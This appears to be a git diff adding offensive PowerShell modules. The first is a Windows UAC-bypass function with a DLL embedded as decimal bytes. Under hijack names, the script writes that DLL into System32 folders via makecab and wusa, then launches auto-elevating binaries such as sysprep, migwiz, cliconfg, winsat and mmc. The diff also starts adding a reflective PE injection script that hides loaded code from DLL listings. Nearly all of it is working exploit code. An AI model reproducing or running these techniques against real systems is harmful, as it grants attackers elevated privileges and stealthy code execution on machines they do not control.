15 133 199 0 0 0 139 69 248 64 80 106 8 255 21 48 32 0 16 80 255 21 20 32 0 16 139 216 133 219 15 132 169 0 0 0 141 69 248 80 83 87 87 104 96 32 0 16 255 117 252 255 214 133 192 117 107 139 53 36 32 0 16 104 120 32 0 16 255 214 83 255 214 106 68 90 139 202 141 69 164 198 0 0 64 131 233 1 117 247 106 16 89 141 69 232 198 0 0 64 131 233 1 117 247 141 69 164 137 85 164 80 255 21 52 32 0 16 141 69 232 80 141 69 164 80 51 192 80 80 80 80 80 80 83 80 255 21 32 32 0 16 139 248 133 255 116 16 255 117 232 139 53 28 32 0 16 255 214 255 117 236 255 214 83 106 0 255 21 48 32 0 16 80 255 21 44 32 0 16 255 117 252 255 21 12 32 0 16 104 64 32 0 16 104 1 0 0 128 255 21 0 32 0 16 94 139 199 95 91 139 229 93 195 85 139 236 129 236 112 6 0 0 51 192 64 83 86 57 69 12 15 133 60 1 0 0 104 160 32 0 16 255 21 36 32 0 16 232 172 254 255 255 51 219 133 192 15 133 27 1 0 0 106 68 90 139 202 141 69 172 136 24 64 131 233 1 117 248 106 16 89 141 69 240 136 24 64 131 233 1 117 248 141 69 172 137 85 172 80 255 21 52 32 0 16 185 10 2 0 0 141 133 160 253 255 255 136 24 64 131 233 1 117 248 190 4 1 0 0 141 133 160 253 255 255 86 80 104 212 32 0 16 255 21 40 32 0 16 133 192 15 132 189 0 0 0 59 198 15 131 181 0 0 0 185 16 4 0 0 141 133 144 249 255 255 136 24 64 131 233 1 117 248 102 139 133 160 253 255 255 141 141 144 249 255 255 102 133 192 116 30 15 183 240 141 149 160 253 255 255 139 193 43 208 102 137 49 131 193 2 15 183 4 10 139 240 102 133 192 117 239 51 192 102 137 1 141 141 144 249 255 255 102 57 133 144 249 255 255 116 8 131 193 2 102 57 25 117 248 106 99 186 252 32 0 16 94 43 209 102 137 49 141 73 2 15 183 4 10 139 240 102 133 192 117 239 51 192 102 137 1 141 69 240 80 141 69 172 80 141 133 160 253 255 255 80 83 83 83 83 83 83 141 133 144 249 255 255 80 255 21 32 32 0 16 133 192 116 16 255 117 240 139 53 28 32 0 16 255 214 255 117 244 255 214 83 255 21 24 32 0 16 94 91 139 229 93 194 12 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 6 39 0 0 246 38 0 0 226 38 0 0 22 39 0 0 0 0 0 0 150 38 0 0 162 38 0 0 136 38 0 0 194 38 0 0 114 38 0 0 86 38 0 0 74 38 0 0 176 38 0 0 56 38 0 0 0 0 0 0 0 0 0 0 83 0 111 0 102 0 116 0 119 0 97 0 114 0 101 0 92 0 65 0 107 0 97 0 103 0 105 0 0 0 0 0 76 0 111 0 118 0 101 0 76 0 101 0 116 0 116 0 101 0 114 0 0 0 0 0 65 0 107 0 97 0 103 0 105 0 32 0 108 0 101 0 116 0 116 0 101 0 114 0 32 0 102 0 111 0 117 0 110 0 100 0 0 0 0 0 70 0 117 0 98 0 117 0 107 0 105 0 32 0 97 0 116 0 32 0 121 0 111 0 117 0 114 0 32 0 115 0 101 0 114 0 118 0 105 0 99 0 101 0 46 0 13 0 10 0 0 0 37 0 115 0 121 0 115 0 116 0 101 0 109 0 114 0 111 0 111 0 116 0 37 0 92 0 116 0 101 0 109 0 112 0 92 0 0 0 0 0 99 0 109 0 100 0 46 0 98 0 97 0 116 0 0 0 0 0 0 0 0 0 0 0 4 49 10 86 0 0 0 0 13 0 0 0 220 0 0 0 228 36 0 0 228 12 0 0 0 0 0 0 4 49 10 86 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 49 10 86 0 0 0 0 144 34 0 0 1 0 0 0 28 0 0 0 28 0 0 0 120 33 0 0 232 33 0 0 88 34 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 157 34 0 0 180 34 0 0 202 34 0 0 212 34 0 0 222 34 0 0 249 34 0 0 21 35 0 0 48 35 0 0 67 35 0 0 88 35 0 0 106 35 0 0 126 35 0 0 147 35 0 0 175 35 0 0 194 35 0 0 218 35 0 0 237 35 0 0 8 36 0 0 28 36 0 0 49 36 0 0 76 36 0 0 102 36 0 0 114 36 0 0 136 36 0 0 150 36 0 0 177 36 0 0 195 36 0 0 215 36 0 0 0 0 1 0 2 0 3 0 4 0 5 0 6 0 7 0 8 0 9 0 10 0 11 0 12 0 13 0 14 0 15 0 16 0 17 0 18 0 19 0 20 0 21 0 22 0 23 0 24 0 25 0 26 0 27 0 70 117 98 117 107 105 51 50 46 100 108 108 0 67 97 108 108 78 116 80 111 119 101 114 73 110 102 111 114 109 97 116 105 111 110 0 67 111 110 115 116 114 117 99 116 80 97 114 116 105 97 108 77 115 103 86 87 0 67 114 101 97 116 101 85 114 105 0 67 117 114 114 101 110 116 73 80 0 68 101 118 79 98 106 67 114 101 97 116 101 68 101 118 105 99 101 73 110 102 111 76 105 115 116 0 68 101 118 79 98 106 68 101 115 116 114 111 121 68 101 118 105 99 101 73 110 102 111 76 105 115 116 0 68 101 118 79 98 106 69 110 117 109 68 101 118 105 99 101 73 110 116 101 114 102 97 99 101 115 0 68 101 118 79 98 106 71 101 116 67 108 97 115 115 68 101 118 115 0 68 101 118 79 98 106 79 112 101 110 68 101 118 105 99 101 73 110 102 111 0 68 108 108 82 101 103 105 115 116 101 114 83 101 114 118 101 114 0 71 101 110 101 114 97 116 101 65 99 116 105 111 110 81 117 101 117 101 0 80 111 119 101 114 71 101 116 65 99 116 105 118 101 83 99 104 101 109 101 0 80 114 105 118 97 116 101 67 111 73 110 116 101 114 110 101 116 67 111 109 98 105 110 101 85 114 105 0 80 114 111 99 101 115 115 65 99 116 105 111 110 81 117 101 117 101 0 83 76 71 101 116 87 105 110 100 111 119 115 73 110 102 111 114 109 97 116 105 111 110 0 87 100 115 65 98 111 114 116 66 108 97 99 107 98 111 97 114 100 0 87 100 115 65 98 111 114 116 66 108 97 99 107 98 111 97 114 100 73 116 101 109 69 110 117 109 0 87 100 115 67 114 101 97 116 101 66 108 97 99 107 98 111 97 114 100 0 87 100 115 68 101 115 116 114 111 121 66 108 97 99 107 98 111 97 114 100 0 87 100 115 69 110 117 109 70 105 114 115 116 66 108 97 99 107 98 111 97 114 100 73 116 101 109 0 87 100 115 69 110 117 109 78 101 120 116 66 108 97 99 107 98 111 97 114 100 73 116 101 109 0 87 100 115 70 114 101 101 68 97 116 97 0 87 100 115 71 101 116 66 108 97 99 107 98 111 97 114 100 86 97 108 117 101 0 87 100 115 73 110 105 116 105 97 108 105 122 101 0 87 100 115 73 115 68 105 97 103 110 111 115 116 105 99 77 111 100 101 69 110 97 98 108 101 100 0 87 100 115 83 101 116 65 115 115 101 114 116 70 108 97 103 115 0 87 100 115 83 101 116 117 112 76 111 103 77 101 115 115 97 103 101 87 0 87 100 115 84 101 114 109 105 110 97 116 101 0 71 67 84 76 0 16 0 0 137 2 0 0 46 116 101 120 116 36 109 110 0 0 0 0 0 32 0 0 60 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 64 32 0 0 8 1 0 0 46 114 100 97 116 97 0 0 80 33 0 0 148 3 0 0 46 101 100 97 116 97 0 0 228 36 0 0 220 0 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 192 37 0 0 40 0 0 0 46 105 100 97 116 97 36 50 0 0 0 0 232 37 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 252 37 0 0 60 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 56 38 0 0 250 0 0 0 46 105 100 97 116 97 36 54 0 0 0 0 0 48 0 0 160 0 0 0 46 114 115 114 99 36 48 49 0 0 0 0 160 48 0 0 64 4 0 0 46 114 115 114 99 36 48 50 0 0 0 0 16 38 0 0 0 0 0 0 0 0 0 0 212 38 0 0 20 32 0 0 252 37 0 0 0 0 0 0 0 0 0 0 36 39 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 6 39 0 0 246 38 0 0 226 38 0 0 22 39 0 0 0 0 0 0 150 38 0 0 162 38 0 0 136 38 0 0 194 38 0 0 114 38 0 0 86 38 0 0 74 38 0 0 176 38 0 0 56 38 0 0 0 0 0 0 190 2 71 101 116 83 116 97 114 116 117 112 73 110 102 111 87 0 51 3 72 101 97 112 70 114 101 101 0 0 85 1 69 120 112 97 110 100 69 110 118 105 114 111 110 109 101 110 116 83 116 114 105 110 103 115 87 0 250 3 79 117 116 112 117 116 68 101 98 117 103 83 116 114 105 110 103 87 0 0 127 0 67 108 111 115 101 72 97 110 100 108 101 0 47 3 72 101 97 112 65 108 108 111 99 0 81 1 69 120 105 116 80 114 111 99 101 115 115 0 162 2 71 101 116 80 114 111 99 101 115 115 72 101 97 112 0 0 219 0 67 114 101 97 116 101 80 114 111 99 101 115 115 87 0 0 75 69 82 78 69 76 51 50 46 100 108 108 0 0 146 2 82 101 103 81 117 101 114 121 86 97 108 117 101 69 120 87 0 0 133 2 82 101 103 79 112 101 110 75 101 121 69 120 87 0 104 2 82 101 103 68 101 108 101 116 101 75 101 121 87 0 84 2 82 101 103 67 108 111 115 101 75 101 121 0 65 68 86 65 80 73 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 16 0 0 0 32 0 0 128 24 0 0 0 56 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 80 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 104 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 144 0 0 0 160 48 0 0 192 2 0 0 0 0 0 0 0 0 0 0 96 51 0 0 125 1 0 0 0 0 0 0 0 0 0 0 192 2 52 0 0 0 86 0 83 0 95 0 86 0 69 0 82 0 83 0 73 0 79 0 78 0 95 0 73 0 78 0 70 0 79 0 0 0 0 0 189 4 239 254 0 0 1 0 9 0 1 0 0 0 0 0 9 0 1 0 0 0 0 0 63 0 0 0 0 0 0 0 0 0 4 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 2 0 0 1 0 83 0 116 0 114 0 105 0 110 0 103 0 70 0 105 0 108 0 101 0 73 0 110 0 102 0 111 0 0 0 252 1 0 0 1 0 48 0 52 0 48 0 57 0 48 0 52 0 98 0 48 0 0 0 50 0 9 0 1 0 67 0 111 0 109 0 112 0 97 0 110 0 121 0 78 0 97 0 109 0 101 0 0 0 0 0 85 0 71 0 32 0 78 0 111 0 114 0 116 0 104 0 0 0 0 0 72 0 16 0 1 0 70 0 105 0 108 0 101 0 68 0 101 0 115 0 99 0 114 0 105 0 112 0 116 0 105 0 111 0 110 0 0 0 0 0 85 0 65 0 67 0 77 0 101 0 32 0 112 0 114 0 111 0 120 0 121 0 32 0 68 0 76 0 76 0 0 0 48 0 8 0 1 0 70 0 105 0 108 0 101 0 86 0 101 0 114 0 115 0 105 0 111 0 110 0 0 0 0 0 49 0 46 0 57 0 46 0 48 0 46 0 48 0 0 0 46 0 7 0 1 0 73 0 110 0 116 0 101 0 114 0 110 0 97 0 108 0 78 0 97 0 109 0 101 0 0 0 70 0 117 0 98 0 117 0 107 0 105 0 0 0 0 0 104 0 34 0 1 0 76 0 101 0 103 0 97 0 108 0 67 0 111 0 112 0 121 0 114 0 105 0 103 0 104 0 116 0 0 0 67 0 111 0 112 0 121 0 114 0 105 0 103 0 104 0 116 0 32 0 40 0 67 0 41 0 32 0 50 0 48 0 49 0 52 0 32 0 45 0 50 0 48 0 49 0 53 0 32 0 85 0 71 0 32 0 78 0 111 0 114 0 116 0 104 0 0 0 62 0 11 0 1 0 79 0 114 0 105 0 103 0 105 0 110 0 97 0 108 0 70 0 105 0 108 0 101 0 110 0 97 0 109 0 101 0 0 0 70 0 117 0 98 0 117 0 107 0 105 0 46 0 100 0 108 0 108 0 0 0 0 0 44 0 6 0 1 0 80 0 114 0 111 0 100 0 117 0 99 0 116 0 78 0 97 0 109 0 101 0 0 0 0 0 85 0 65 0 67 0 77 0 101 0 0 0 52 0 8 0 1 0 80 0 114 0 111 0 100 0 117 0 99 0 116 0 86 0 101 0 114 0 115 0 105 0 111 0 110 0 0 0 49 0 46 0 57 0 46 0 48 0 46 0 48 0 0 0 68 0 0 0 1 0 86 0 97 0 114 0 70 0 105 0 108 0 101 0 73 0 110 0 102 0 111 0 0 0 0 0 36 0 4 0 0 0 84 0 114 0 97 0 110 0 115 0 108 0 97 0 116 0 105 0 111 0 110 0 0 0 0 0 9 4 176 4 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 60 0 0 0 22 48 41 48 65 48 77 48 103 48 110 48 132 48 147 48 152 48 202 48 226 48 241 48 1 49 8 49 17 49 22 49 33 49 70 49 76 49 134 49 171 49 177 49 39 50 98 50 111 50 125 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + + + + ) + + if ($CustomDll64) + { + Write-Output "Reading 64 bit DLL." + [byte[]]$bytes = [System.IO.File]::ReadAllBytes($CustomDll64) + $DllBytes64 = $bytes -join ' ' + } + elseif ($CustomDll32) + { + Write-Output "Reading 32 bit DLL." + [byte[]]$bytes = [System.IO.File]::ReadAllBytes($CustomDll32) + $DllBytes32 = $bytes -join ' ' + } + + if (([IntPtr]::Size) -eq 8) + { + Write-Output "64 bit process detected." + $DllBytes = $DllBytes64 + } + elseif (([IntPtr]::Size) -eq 4) + { + Write-Output "32 bit process detected." + $DllBytes = $DllBytes32 + } + + Out-File -FilePath $PayloadPath -InputObject $Payload -Encoding ascii + $OSVersion = (Get-WmiObject -Class win32_OperatingSystem).BuildNumber + switch($method) + { + + "Sysprep" + { + Write-Output "Using Sysprep method" + if ($OSVersion -match "76") + { + Write-Output "Windows 7 found!" + $dllname = "CRYPTBASE.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "96") + { + Write-Output "Windows 8 found!" + $dllname = "shcore.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "10") + { + Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has no extract option. Not supported *yet*. " + } + $Target = "$env:temp\uac.cab" + $wusapath = "C:\Windows\System32\Sysprep\" + $execpath = "C:\Windows\System32\Sysprep\sysprep.exe" + Write-Output "Creating cab $Target" + $null = & makecab $PathToDll $Target + Write-Output "Extracting cab to $wusapath " + $null = & wusa $Target /extract:$wusapath + Start-Sleep -Seconds 1 + Write-Output "Executing $execpath " + & $execpath + } + + "OOBE" + { + Write-Output "Using OOBE method" + Write-Output "Writing DLLs to Temp directory" + if ($OSVersion -match "76") + { + Write-Output "Windows 7 found!" + $dllname = "wdscore.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "96") + { + Write-Output "Windows 8 found!" + $dllname = "wdscore.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "10") + { + Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has no extract option. Not supported *yet*. " + } + $Target = "$env:temp\uac.cab" + $wusapath = "C:\Windows\System32\oobe\" + $execpath = "C:\Windows\System32\oobe\setupsqm.exe" + Write-Output "Creating cab $Target" + $null = & makecab $PathToDll $Target + Write-Output "Extracting cab to $wusapath " + $null = & wusa $Target /extract:$wusapath + Start-Sleep -Seconds 1 + Write-Output "Executing $execpath " + & $execpath + } + + "ActionQueue" + { + Write-Output "Using Sysprep Actionqueue method" + if ($OSVersion -match "76") + { + Write-Output "Windows 7 found!" + $dllname = "ActionQueue.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "96") + { + Write-Warning "This method doesn't work Windows 8.1 onwards." + } + + if ($OSVersion -match "10") + { + Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has no extract option. Not supported *yet*. " + } + $Target = "$env:temp\uac.cab" + $wusapath = "C:\Windows\System32\Sysprep\" + $execpath = "C:\Windows\System32\Sysprep\sysprep.exe" + Write-Output "Creating cab $Target" + $null = & makecab $PathToDll $Target + Write-Output "Extracting cab to $wusapath " + $null = & wusa $Target /extract:$wusapath + Start-Sleep -Seconds 1 + Write-Output "Executing $execpath " + & $execpath + } + + "migwiz" + { + Write-Output "Using migwiz method" + if ($OSVersion -match "76") + { + Write-Output "Windows 7 found!" + $dllname = "wdscore.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "96") + { + Write-Output "Windows 8 found!" + $dllname = "wdscore.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "10") + { + Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has no extract option. Not supported *yet*. " + } + $Target = "$env:temp\uac.cab" + $wusapath = "C:\Windows\System32\migwiz\" + $execpath = "C:\Windows\System32\migwiz\migwiz.exe" + Write-Output "Creating cab $Target" + $null = & makecab $PathToDll $Target + Write-Output "Extracting cab to $wusapath " + $null = & wusa $Target /extract:$wusapath + Start-Sleep -Seconds 1 + Write-Output "Executing $execpath " + & $execpath + } + + "cliconfg" + { + Write-Output "Using cliconfg method" + if ($OSVersion -match "76") + { + Write-Output "Windows 7 found!" + $dllname = "ntwdblib.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "96") + { + Write-Output "Windows 8 found!" + $dllname = "ntwdblib.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "10") + { + Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has no extract option. Not supported *yet*. " + } + $Target = "$env:temp\uac.cab" + $wusapath = "C:\Windows\System32\" + $execpath = "C:\Windows\System32\cliconfg.exe" + Write-Output "Creating cab $Target" + $null = & makecab $PathToDll $Target + Write-Output "Extracting cab to $wusapath " + $null = & wusa $Target /extract:$wusapath + Start-Sleep -Seconds 1 + Write-Output "Executing $execpath " + & $execpath + } + + "winsat" + { + Write-Output "Using winsat method" + if ($OSVersion -match "76") + { + Write-Output "Windows 7 found!" + $dllname = "ntwdblib.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "96") + { + Write-Output "Windows 8 found!" + $dllname = "devobj.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "10") + { + Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has no extract option. Not supported *yet*. " + } + $Target = "$env:temp\uac.cab" + $wusapath = "C:\Windows\System32\sysprep\" + $execpath = "C:\Windows\System32\sysprep\winsat.exe" + $Targetwinsat = "$env:temp\uac_winsat.cab" + Write-Output "Copying C:\Windows\System32\winsat.exe to $env:temp" + Copy-Item "C:\Windows\System32\winsat.exe" "$env:temp\winsat.exe" + Write-Output "Creating cab $Targetwinsat" + $null = & makecab "$env:temp\winsat.exe" $Targetwinsat + Write-Output "Extracting cab to $wusapath " + $null = & wusa $Targetwinsat /extract:$wusapath + Write-Output "Creating cab $Target" + $null = & makecab $PathToDll $Target + Write-Output "Extracting cab to $wusapath " + $null = & wusa $Target /extract:$wusapath + Start-Sleep -Seconds 1 + Write-Output "Executing $execpath " + & $execpath + } + + "mmc" + { + Write-Output "Using mmc method" + if ($OSVersion -match "76") + { + Write-Output "Windows 7 found!" + $dllname = "ntwdblib.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "96") + { + Write-Output "Windows 8 found!" + $dllname = "elsext.dll" + $PathToDll = "$env:temp\$dllname" + Write-Output "Writing to $PathToDll" + [Byte[]] $temp = $DllBytes -split ' ' + [System.IO.File]::WriteAllBytes($PathToDll, $temp) + } + + if ($OSVersion -match "10") + { + Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has no extract option. Not supported *yet*. " + } + $Target = "$env:temp\uac.cab" + $wusapath = "C:\Windows\System32\" + $execpath = "C:\Windows\System32\mmc.exe eventvwr.msc" + Write-Output "Creating cab $Target" + $null = & makecab $PathToDll $Target + Write-Output "Extracting cab to $wusapath " + $null = & wusa $Target /extract:$wusapath + Start-Sleep -Seconds 1 + Write-Output "Executing $execpath " + & $execpath + } + } + + #Clean up + Write-Output "Removing $Target." + Remove-Item -Path $Target + Write-Output "Removing $PathToDll." + Remove-Item -Path $PathToDll + Write-Output "$wusapath$dllname must be removed manually." + Write-Output "$PayloadPath must be removed manually." + +} + + diff --git a/Modules/Invoke-ReflectivePEInjection.ps1 b/Modules/Invoke-ReflectivePEInjection.ps1 new file mode 100644 index 0000000..abed5b8 --- /dev/null +++ b/Modules/Invoke-ReflectivePEInjection.ps1 @@ -0,0 +1,2977 @@ +function Invoke-ReflectivePEInjection +{ +<# +.SYNOPSIS + +This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, +or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, +please lead the Notes section (GENERAL NOTES) for information on how to use them. + +1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. +Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. + +This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, +this will load and execute the DLL/EXE in to memory without writing any files to disk. + +2.) Reflectively load 